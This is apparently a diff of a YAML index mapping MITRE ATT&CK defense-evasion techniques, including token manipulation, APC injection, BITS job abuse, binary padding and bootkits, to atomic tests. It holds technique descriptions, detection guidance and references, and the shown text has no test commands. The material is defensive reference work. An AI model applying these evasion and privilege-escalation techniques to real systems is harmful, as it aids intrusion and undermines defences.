-        An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)
-
-        Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.
-      name: Access Token Manipulation
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2021-04-24T13:40:52.952Z'
-      created: '2017-12-14T16:46:06.044Z'
-      x_mitre_defense_bypassed:
-      - Windows User Account Control
-      - System access controls
-      - File system access controls
-      - Heuristic Detection
-      - Host forensic analysis
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '2.0'
-      x_mitre_contributors:
-      - Tom Ueltschi @c_APT_ure
-      - Travis Smith, Tripwire
-      - Robby Winchester, @robwinchester3
-      - Jared Atkinson, @jaredcatkinson
+      name: Access Token Manipulation
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Process: Process Metadata'
@@ -21149,6 +21463,40 @@ defense-evasion:
       - 'User Account: User Account Metadata'
       - 'Active Directory: Active Directory Object Modification'
       - 'Command: Command Execution'
+      x_mitre_version: '2.0'
+      modified: '2021-10-17T14:51:49.334Z'
+      created: '2017-12-14T16:46:06.044Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48
+      x_mitre_defense_bypassed:
+      - Windows User Account Control
+      - System access controls
+      - File system access controls
+      - Heuristic Detection
+      - Host forensic analysis
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: |-
+        Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
+
+        An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)
+
+        Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.
+      x_mitre_effective_permissions:
+      - SYSTEM
+      x_mitre_contributors:
+      - Tom Ueltschi @c_APT_ure
+      - Travis Smith, Tripwire
+      - Robby Winchester, @robwinchester3
+      - Jared Atkinson, @jaredcatkinson
       x_mitre_detection: "If an adversary is using a standard command-line shell,
         analysts can detect token manipulation by auditing command-line activity.
         Specifically, analysts should look for use of the <code>runas</code> command.
@@ -21170,44 +21518,59 @@ defense-evasion:
         and ParentProcessID (which are also produced from ETW and other utilities
         such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId
         identifies the actual parent process."
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_effective_permissions:
-      - SYSTEM
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1134
+        external_id: T1134
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/633.html
+        external_id: CAPEC-633
+        source_name: capec
+      - source_name: Pentestlab Token Manipulation
+        description: netbiosX. (2017, April 3). Token Manipulation. Retrieved April
+          21, 2017.
+        url: https://pentestlab.blog/2017/04/03/token-manipulation/
+      - source_name: Microsoft Command-line Logging
+        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
+          April 21, 2017.
+        url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
+      - source_name: Microsoft LogonUser
+        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
+        url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx
+      - source_name: Microsoft DuplicateTokenEx
+        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
+        url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx
+      - source_name: Microsoft ImpersonateLoggedOnUser
+        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
+        url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx
+      - source_name: BlackHat Atkinson Winchester Token Manipulation
+        description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is
+          No One: Hunting for Token Manipulation. Retrieved December 21, 2017.'
+        url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf
     atomic_tests: []
   T1550.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1550.001
-        url: https://attack.mitre.org/techniques/T1550/001
-      - external_id: CAPEC-593
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/593.html
-      - description: Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure
-          APIs. Retrieved September 12, 2019.
-        url: https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/
-        source_name: Auth0 - Why You Should Always Use Access Tokens to Secure APIs
-          Sept 2019
-      - description: okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved
-          September 12, 2019.
-        url: https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen
-        source_name: okta
-      - description: Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27).
-          Microsoft identity platform access tokens. Retrieved October 4, 2019.
-        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
-        source_name: Microsoft Identity Platform Access 2019
-      - description: Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure.
-          Retrieved October 4, 2019.
-        url: https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/
-        source_name: Staaldraad Phishing with OAuth 2017
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2021-09-02T17:18:55.891Z'
       name: Application Access Token
+      x_mitre_data_sources:
+      - 'Web Credential: Web Credential Usage'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.2'
+      created: '2020-01-30T17:37:22.261Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
+      x_mitre_defense_bypassed:
+      - System Access Controls
+      x_mitre_platforms:
+      - Office 365
+      - SaaS
+      - Google Workspace
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51
       description: |-
         Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.
 
@@ -21216,64 +21579,61 @@ defense-evasion:
         For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)
 
         Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.
-      id: attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
-      modified: '2021-04-14T18:09:45.539Z'
-      created: '2020-01-30T17:37:22.261Z'
-      x_mitre_version: '1.2'
-      x_mitre_is_subtechnique: true
-      x_mitre_defense_bypassed:
-      - System Access Controls
-      x_mitre_detection: Monitor access token activity for abnormal use and permissions
-        granted to unusual or suspicious applications and APIs.
-      x_mitre_data_sources:
-      - 'Web Credential: Web Credential Usage'
-      - 'Application Log: Application Log Content'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       x_mitre_contributors:
       - Shailesh Tiwary (Indian Army)
       - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)
       - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)
       - Mark Wee
-      x_mitre_platforms:
-      - Office 365
-      - SaaS
-      - Google Workspace
+      x_mitre_detection: Monitor access token activity for abnormal use and permissions
+        granted to unusual or suspicious applications and APIs.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1550/001
+        external_id: T1550.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/593.html
+        external_id: CAPEC-593
+        source_name: capec
+      - source_name: Auth0 - Why You Should Always Use Access Tokens to Secure APIs
+          Sept 2019
+        description: Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure
+          APIs. Retrieved September 12, 2019.
+        url: https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/
+      - source_name: okta
+        description: okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved
+          September 12, 2019.
+        url: https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen
+      - source_name: Microsoft Identity Platform Access 2019
+        description: Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27).
+          Microsoft identity platform access tokens. Retrieved October 4, 2019.
+        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
+      - source_name: Staaldraad Phishing with OAuth 2017
+        description: Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure.
+          Retrieved October 4, 2019.
+        url: https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/
     atomic_tests: []
   T1055.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.004
-        url: https://attack.mitre.org/techniques/T1055/004
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx
-        description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December
-          8, 2017.
-        source_name: Microsoft APC
-      - url: https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/
-        description: Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’
-          Code Injection Technique Discovered. Retrieved May 24, 2018.
-        source_name: CyberBit Early Bird Apr 2018
-      - url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows
-        description: 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE
-          INJECTION FOR WINDOWS. Retrieved December 8, 2017.'
-        source_name: ENSIL AtomBombing Oct 2016
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx
-        description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.
-        source_name: Microsoft Atom Table
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Asynchronous Procedure Call
+      x_mitre_data_sources:
+      - 'Process: Process Modification'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      x_mitre_version: '1.1'
+      modified: '2021-10-18T12:23:46.476Z'
+      created: '2020-01-14T01:29:43.786Z'
+      x_mitre_defense_bypassed:
+      - Application control
+      - Anti-virus
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605
       description: "Adversaries may inject malicious code into processes via the asynchronous
         procedure call (APC) queue in order to evade process-based defenses as well
         as possibly elevate privileges. APC injection is a method of executing arbitrary
@@ -21294,21 +21654,11 @@ defense-evasion:
         to the process's memory, system/network resources, and possibly elevated privileges.
         Execution via APC injection may also evade detection from security products
         since the execution is masked under a legitimate process. "
-      id: attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-11-10T18:29:30.961Z'
-      created: '2020-01-14T01:29:43.786Z'
-      x_mitre_defense_bypassed:
-      - Application control
-      - Anti-virus
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
       x_mitre_detection: "Monitoring Windows API calls indicative of the various types
         of code injection may generate a significant amount of data and may not be
         directly useful for defense unless collected under specific circumstances
@@ -21321,10 +21671,31 @@ defense-evasion:
         process behavior to determine if a process is performing actions it usually
         does not, such as opening network connections, reading files, or other suspicious
         actions that could relate to post-compromise behavior. "
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055/004
+        external_id: T1055.004
+        source_name: mitre-attack
+      - source_name: Microsoft APC
+        description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December
+          8, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx
+      - source_name: CyberBit Early Bird Apr 2018
+        description: Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’
+          Code Injection Technique Discovered. Retrieved May 24, 2018.
+        url: https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/
+      - source_name: ENSIL AtomBombing Oct 2016
+        description: 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE
+          INJECTION FOR WINDOWS. Retrieved December 8, 2017.'
+        url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows
+      - source_name: Microsoft Atom Table
+        description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
       identifier: T1055.004
     atomic_tests:
     - name: Process Injection via C#
@@ -21351,9 +21722,32 @@ defense-evasion:
         name: command_prompt
   T1197:
     technique:
-      id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2021-04-13T21:36:04.956Z'
       name: BITS Jobs
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Network Traffic: Network Connection Creation'
+      - 'Service: Service Metadata'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.2'
+      created: '2018-04-18T17:59:24.739Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7
+      x_mitre_defense_bypassed:
+      - Firewall
+      - Host forensic analysis
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
       description: |-
         Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.
 
@@ -21362,83 +21756,60 @@ defense-evasion:
         Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)
 
         BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1197
-        url: https://attack.mitre.org/techniques/T1197
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
-        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
-          22, 2017.
-        source_name: Microsoft COM
-      - url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx
-        description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved
-          January 12, 2018.
-        source_name: Microsoft BITS
-      - url: https://msdn.microsoft.com/library/aa362813.aspx
-        description: Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.
-        source_name: Microsoft BITSAdmin
-      - url: https://www.secureworks.com/blog/malware-lingers-with-bits
-        description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers
-          with BITS. Retrieved January 12, 2018.
-        source_name: CTU BITS Malware June 2016
-      - url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/
-        description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background
-          Intelligent Transfer Service. Retrieved January 12, 2018.
-        source_name: Mondok Windows PiggyBack BITS May 2007
-      - url: https://www.symantec.com/connect/blogs/malware-update-windows-update
-        description: Florio, E. (2007, May 9). Malware Update with Windows Update.
-          Retrieved January 12, 2018.
-        source_name: Symantec BITS May 2007
-      - url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/
-        description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia.
-          Retrieved January 12, 2018.
-        source_name: PaloAlto UBoatRAT Nov 2017
-      - url: https://technet.microsoft.com/library/dd939934.aspx
-        description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January
-          12, 2018.
-        source_name: Microsoft Issues with BITS July 2011
-      - source_name: Elastic - Hunting for Persistence Part 1
-        url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
-        description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft
-          101: Hunting for persistence using Elastic Security (Part 1). Retrieved
-          December 21, 2020.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-04-13T21:36:04.956Z'
-      created: '2018-04-18T17:59:24.739Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - SYSTEM
+      x_mitre_contributors:
+      - Brent Murphy, Elastic
+      - David French, Elastic
+      - Ricardo Dias
+      - Red Canary
       x_mitre_detection: |-
         BITS runs as a service and its status can be checked with the Sc query utility (<code>sc query bits</code>).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (<code>bitsadmin /list /allusers /verbose</code>).(Citation: Microsoft BITS)
 
         Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)
 
         Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)
-      x_mitre_defense_bypassed:
-      - Firewall
-      - Host forensic analysis
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Network Traffic: Network Connection Creation'
-      - 'Service: Service Metadata'
-      - 'Command: Command Execution'
-      x_mitre_contributors:
-      - Brent Murphy, Elastic
-      - David French, Elastic
-      - Ricardo Dias
-      - Red Canary
-      x_mitre_version: '1.2'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1197
+        external_id: T1197
+        source_name: mitre-attack
+      - source_name: Microsoft COM
+        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
+          22, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
+      - source_name: Microsoft BITS
+        description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved
+          January 12, 2018.
+        url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx
+      - source_name: Microsoft BITSAdmin
+        description: Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.
+        url: https://msdn.microsoft.com/library/aa362813.aspx
+      - source_name: CTU BITS Malware June 2016
+        description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers
+          with BITS. Retrieved January 12, 2018.
+        url: https://www.secureworks.com/blog/malware-lingers-with-bits
+      - source_name: Mondok Windows PiggyBack BITS May 2007
+        description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background
+          Intelligent Transfer Service. Retrieved January 12, 2018.
+        url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/
+      - source_name: Symantec BITS May 2007
+        description: Florio, E. (2007, May 9). Malware Update with Windows Update.
+          Retrieved January 12, 2018.
+        url: https://www.symantec.com/connect/blogs/malware-update-windows-update
+      - source_name: PaloAlto UBoatRAT Nov 2017
+        description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia.
+          Retrieved January 12, 2018.
+        url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/
+      - source_name: Microsoft Issues with BITS July 2011
+        description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January
+          12, 2018.
+        url: https://technet.microsoft.com/library/dd939934.aspx
+      - url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
+        description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft
+          101: Hunting for persistence using Elastic Security (Part 1). Retrieved
+          December 21, 2020.'
+        source_name: Elastic - Hunting for Persistence Part 1
       identifier: T1197
     atomic_tests:
     - name: Bitsadmin Download (cmd)
@@ -21568,12 +21939,26 @@ defense-evasion:
         name: command_prompt
   T1027.001:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Binary Padding
+      x_mitre_data_sources:
+      - 'File: File Metadata'
+      x_mitre_version: '1.2'
+      modified: '2021-10-15T13:53:02.135Z'
       created: '2020-02-05T14:04:25.865Z'
-      modified: '2020-09-17T18:25:33.828Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Signature-based detection
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5
       description: "Adversaries may use binary padding to add junk data and change
         the on-disk representation of malware. This can be done without affecting
@@ -21589,51 +21974,36 @@ defense-evasion:
         may also reduce the likelihood of being collected for analysis. Public file
         scanning services, such as VirusTotal, limits the maximum size of an uploaded
         file to be analyzed.(Citation: VirusTotal FAQ) "
-      name: Binary Padding
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1027.001
-        url: https://attack.mitre.org/techniques/T1027/001
-      - external_id: CAPEC-572
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/572.html
-      - external_id: CAPEC-655
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/655.html
-      - source_name: ESET OceanLotus
-        description: Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using
-          old tricks. Retrieved May 22, 2018.
-        url: https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/
-      - source_name: Securelist Malware Tricks April 2017
-        url: https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/
-        description: Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass
-          Detection in the Age of Big Data. Retrieved May 30, 2019.
-      - source_name: VirusTotal FAQ
-        url: https://www.virustotal.com/en/faq/
-        description: VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Signature-based detection
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      x_mitre_contributors:
+      - Martin Jirkal, ESET
       x_mitre_detection: 'Depending on the method used to pad files, a file-based
         signature may be capable of detecting padding using a scanning or on-access
         based tool.  When executed, the resulting process from padded files may also
         exhibit other behavior characteristics of being used to conduct an intrusion
         such as system and network information Discovery or Lateral Movement, which
         could be used as event indicators that point to the source file. '
-      x_mitre_data_sources:
-      - 'File: File Metadata'
-      - 'File: File Content'
-      x_mitre_contributors:
-      - Martin Jirkal, ESET
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1027/001
+        external_id: T1027.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/572.html
+        external_id: CAPEC-572
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/655.html
+        external_id: CAPEC-655
+        source_name: capec
+      - url: https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/
+        description: Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using
+          old tricks. Retrieved May 22, 2018.
+        source_name: ESET OceanLotus
+      - url: https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/
+        description: Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass
+          Detection in the Age of Big Data. Retrieved May 30, 2019.
+        source_name: Securelist Malware Tricks April 2017
+      - url: https://www.virustotal.com/en/faq/
+        description: VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.
+        source_name: VirusTotal FAQ
       identifier: T1027.001
     atomic_tests:
     - name: Pad Binary to Change Hash - Linux/macOS dd
@@ -21671,61 +22041,82 @@ defense-evasion:
         name: sh
   T1542.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1542.003
-        url: https://attack.mitre.org/techniques/T1542/003
-      - external_id: CAPEC-552
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/552.html
-      - source_name: Mandiant M Trends 2016
-        url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
-        description: Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved
-          March 5, 2019.
-      - url: http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion
-        description: Lau, H. (2011, August 8). Are MBR Infections Back in Fashion?
-          (Infographic). Retrieved November 13, 2014.
-        source_name: Lau 2011
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Bootkit
+      x_mitre_data_sources:
+      - 'Drive: Drive Modification'
+      x_mitre_version: '1.1'
+      modified: '2020-09-17T19:47:14.338Z'
+      created: '2019-12-19T21:05:38.123Z'
+      id: attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba
+      x_mitre_defense_bypassed:
+      - Host intrusion prevention systems
